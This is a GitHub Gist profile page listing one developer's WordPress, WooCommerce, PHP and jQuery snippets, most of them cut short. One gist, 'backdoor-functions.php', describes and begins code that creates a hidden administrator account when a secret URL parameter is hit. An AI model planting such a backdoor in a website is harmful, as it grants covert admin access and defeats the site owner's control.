Skip to content

Instantly share code, notes, and snippets.

Abid Hasan abid112

View GitHub Profile
abid112 / $_GET and $_POST
Created Nov 20, 2019
This gist shows how to collect submitted form-data from users by using $_POST and $_GET method.
View $_GET and $_POST
$_GET and $_POST are Superglobal variables in PHP which used to collect data from HTML form and URL.
There are two ways the browser(client) can send information to the web server.
-The GET Method
-The POST Method
*********The GET Method*********
In PHP, the $_GET variable is used to collect values from HTML forms using method get.
Information sent from an HTML form with the GET method is displayed in the browser's address bar, and it has a limit on the amount of information to send.
abid112 / backdoor-functions.php
Created Apr 25, 2019
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
View backdoor-functions.php
//Hit this URL after put code on functions.php :
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
abid112 / add-button-beside-add-to-cart-with-direct-checkout.php
Last active Mar 19, 2019
This function is provide the facility of another button called "Direct Checkout" besides 'Add to Cart" which will takes user to the direct checkout page on Woocommerce.
View add-button-beside-add-to-cart-with-direct-checkout.php
*Add this on functions.php of your WordPress
function add_content_after_addtocart() {
// get the current post/product ID
$current_product_id = get_the_ID();
// get the product based on the ID
abid112 / Exclude reCAPTCHA v3 from specific pages in WordPress
Created Mar 12, 2019
This is for the WordPress user who uses Contact Form-7 integration for reCAPTCHA v3 . Google introduced a new reCAPTCHA v3 which is run on the background of the webpage. So no need to perform that checkbox and stupid image puzzle anymore. Google detects automatically with their algorithm of Human or Bot. In reCAPTCHA v3 in Contact Form-7 is perf…
View Exclude reCAPTCHA v3 from specific pages in WordPress
//For one page
add_action('wp_print_scripts', function () {
if ( !is_page('contact-us') ){
wp_dequeue_script( 'google-recaptcha' );
//For multiple pages
add_action('wp_print_scripts', function () {
abid112 / hide-class-if-another-class-is-exists.js
Created Jan 19, 2019
This JavaScript is hide another class if the specific class is exists.
View hide-class-if-another-class-is-exists.js
<script type="text/javascript">
if ($('.mwd-success').css('display') == 'block') {
$('.email-confirm-sub').css('display', 'none');
abid112 / Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
Created Jul 18, 2018
Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
View Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
To know the differnce of these 3 function of WP, we need to print this 3 function.
Lets say, Our theme name is "wp-rootstrap". We create a child theme named, "wp-rootstrap-child". Inside child theme, we created header.php
and write the bellow codes to see the results.
<?php echo get_stylesheet_directory_uri() ."<br>"; ?>
<?php echo get_template_directory_uri() ."<br>"; ?>
<?php echo get_stylesheet_uri() ."<br>"; ?>
abid112 / footer.php
Created Jan 8, 2018
This code will Redirect you to "Success Page/Thank You" page after Submit the form of Contact Form-7 [WORDPRESS]
View footer.php
abid112 / remove-review-functions.php
Last active Nov 23, 2017
If you don't want to see "Woocommerce Review" section on your product page, then add this line on your functions.php
View remove-review-functions.php
add_filter( 'woocommerce_product_tabs', 'wcs_woo_remove_reviews_tab', 98 );
function wcs_woo_remove_reviews_tab($tabs) {
return $tabs;
You can’t perform that action at this time.